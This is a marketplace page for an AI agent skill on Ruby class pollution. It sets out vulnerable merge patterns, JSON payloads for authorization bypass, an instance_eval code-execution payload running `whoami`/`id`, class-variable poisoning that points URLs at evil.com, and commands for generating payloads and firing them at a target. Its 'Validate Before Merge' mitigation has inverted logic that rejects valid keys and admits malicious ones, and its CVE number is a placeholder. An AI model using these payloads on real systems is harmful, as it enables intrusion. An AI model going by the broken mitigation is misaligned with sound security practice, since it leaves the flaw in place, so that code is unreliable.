# Ruby Class Pollution

> Ruby class pollution vulnerability analysis and exploitation. Use this skill whenever the user needs to understand, identify, or test Ruby class pollution vulnerabilities in applications. This includes merge-on-attributes attacks, privilege escalation through method injection, RCE via instance_eval, and class variable poisoning. Trigger when users mention Ruby deserialization, class pollution, deep_merge vulnerabilities, Hashie, ActiveSupport, or need to test Ruby applications for object mutation attacks.

- Skill: `abelrguezr/ruby-class-pollution` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ruby-class-pollution`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ruby-class-pollution/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ruby-class-pollution

---


# Ruby Class Pollution Analysis

A skill for analyzing and exploiting Ruby class pollution vulnerabilities in applications.

## What is Ruby Class Pollution?

Ruby class pollution is a vulnerability where attacker-controlled data can modify object attributes, methods, or class variables through merge operations. This can lead to:

- **Privilege Escalation**: Overriding methods like `to_s` to bypass authorization
- **Remote Code Execution**: Injecting code through `instance_eval` or similar methods
- **Class Variable Poisoning**: Modifying class-level variables affecting all instances

## When to Use This Skill

Use this skill when:
- Analyzing Ruby applications for deserialization vulnerabilities
- Testing merge operations (deep_merge, recursive_merge) in Ruby code
- Investigating Hashie, ActiveSupport, or similar library vulnerabilities
- Needing to craft payloads for class pollution attacks
- Understanding object mutation attack vectors in Ruby

## Vulnerability Patterns

### Pattern 1: Merge on Attributes

**Vulnerable Code Pattern:**
```ruby
def merge_with(additional)
  additional.each do |key, value|
    instance_variable_set("@#{key}", value)
    singleton_class.attr_accessor key
  end
end
```

**Why it's vulnerable:**
- Allows setting any attribute including method names
- Can override existing methods with attributes
- Singleton class modification affects only the instance

**Exploitation:**
```ruby
# Privilege escalation via to_s override
{"to_s": "Admin"}

# RCE via instance_eval
{"protected_methods": ["puts `whoami`"]}
```

### Pattern 2: Hashie deep_merge

**Vulnerable Code Pattern:**
```ruby
def merge_with(other_object)
  deep_merge!(other_object)
end
```

**Why it's vulnerable:**
- Hashie allows merging attributes ending with `_`, `!`, or `?`
- The `_` attribute is particularly exploitable
- Can bypass authorization checks using `_.to_s`

**Exploitation:**
```ruby
# Bypass authorization via _ attribute
{"_": "Admin"}
```

### Pattern 3: Class Variable Poisoning

**Vulnerable Code Pattern:**
```ruby
def recursive_merge(original, additional, current_obj = original)
  additional.each do |key, value|
    if value.is_a?(Hash)
      if current_obj.respond_to?(key)
        next_obj = current_obj.public_send(key)
        recursive_merge(original, value, next_obj)
      end
    end
  end
end
```

**Why it's vulnerable:**
- Can traverse to class methods like `class`, `superclass`, `subclasses`
- Allows modification of class variables (`@@variable`)
- Affects all instances of the class

**Exploitation:**
```ruby
# Poison parent class variable
{"class": {"superclass": {"url": "http://malicious.com"}}}

# Poison sibling class (brute force required)
{"class": {"superclass": {"superclass": {"subclasses": {"sample": {"signing_key": "injected"}}}}}}
```

## Testing Methodology

### Step 1: Identify Merge Operations

Look for these patterns in the codebase:
- `deep_merge`, `merge!`, `recursive_merge`
- `instance_variable_set` with dynamic keys
- `attr_accessor` with dynamic method names
- Hashie::Mash with `deep_merge!`
- ActiveSupport::DeepMerge

### Step 2: Map Object Structure

Understand the class hierarchy:
```ruby
# Check class structure
puts Person.ancestors
puts Person.instance_methods
puts Person.protected_methods
puts Person.private_methods
```

### Step 3: Identify Gadget Methods

Find methods that use object attributes unsafely:
- Authorization methods checking `to_s`, `to_str`, `to_sym`
- Methods using `instance_eval`, `eval`, `class_eval`
- Methods accessing class variables
- HTTP request methods using instance variables

### Step 4: Craft Payloads

Use the payload generator script:
```bash
python scripts/generate_payloads.py --type privilege-escalation --method to_s --value Admin
python scripts/generate_payloads.py --type rce --method protected_methods --value "puts `id`"
python scripts/generate_payloads.py --type class-poison --path "class.superclass.url" --value "http://evil.com"
```

### Step 5: Test and Verify

Run the test script against the target:
```bash
python scripts/test_vulnerability.py --target http://localhost:4567/merge --payload payload.json
```

## Real-World Cases

### ActiveSupport deep_merge

**Vulnerable when combined with:**
```ruby
def merge_with(other_object)
  merged_hash = to_h.deep_merge(other_object)
  merged_hash.each do |key, value|
    self.class.attr_accessor key
    instance_variable_set("@#{key}", value)
  end
end
```

### Hashie deep_merge (CVE-2025-XXXXX)

**Affected versions:** Hashie 5.0.0
**Fixed in:** Hashie 5.0.1

**Issue:** `deep_merge` mutated nested sub-hashes on the receiver instead of duplicating them, allowing persistent pollution across requests.

## Mitigation Strategies

### 1. Whitelist Merge Keys

```ruby
ALLOWED_KEYS = [:name, :age, :occupation].freeze

def merge_with(additional)
  additional.slice(*ALLOWED_KEYS).each do |key, value|
    instance_variable_set("@#{key}", value)
  end
end
```

### 2. Validate Before Merge

```ruby
def merge_with(additional)
  additional.each do |key, value|
    raise "Invalid key: #{key}" if key.to_s.match?(/^[a-z_]+$/)
    instance_variable_set("@#{key}", value)
  end
end
```

### 3. Use Immutable Merging

```ruby
def merge_with(additional)
  # Create new object instead of modifying
  new_attributes = self.attributes.merge(additional)
  self.class.new(**new_attributes)
end
```

### 4. Avoid Dynamic Method Access

```ruby
# Instead of:
instance_eval(method.to_s)

# Use:
public_send(method) if respond_to?(method)
```

## References

- [Doyensec: Class Pollution in Ruby](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
- [Hashie Latest Version](https://ruby.libhunt.com/hashie-latest-version)
- [Ruby Security Guide](https://ruby-doc.org/stdlib-3.1.2/libdoc/json/rdoc/JSON.html)

## Quick Reference

| Attack Type | Payload Pattern | Impact |
|-------------|-----------------|--------|
| Privilege Escalation | `{"to_s": "Admin"}` | Bypass authorization |
| RCE | `{"protected_methods": ["puts `id`"]}` | Code execution |
| Class Poison | `{"class": {"superclass": {"var": "value"}}}` | Affect all instances |
| Hashie Bypass | `{"_": "Admin"}` | Bypass via _ attribute |

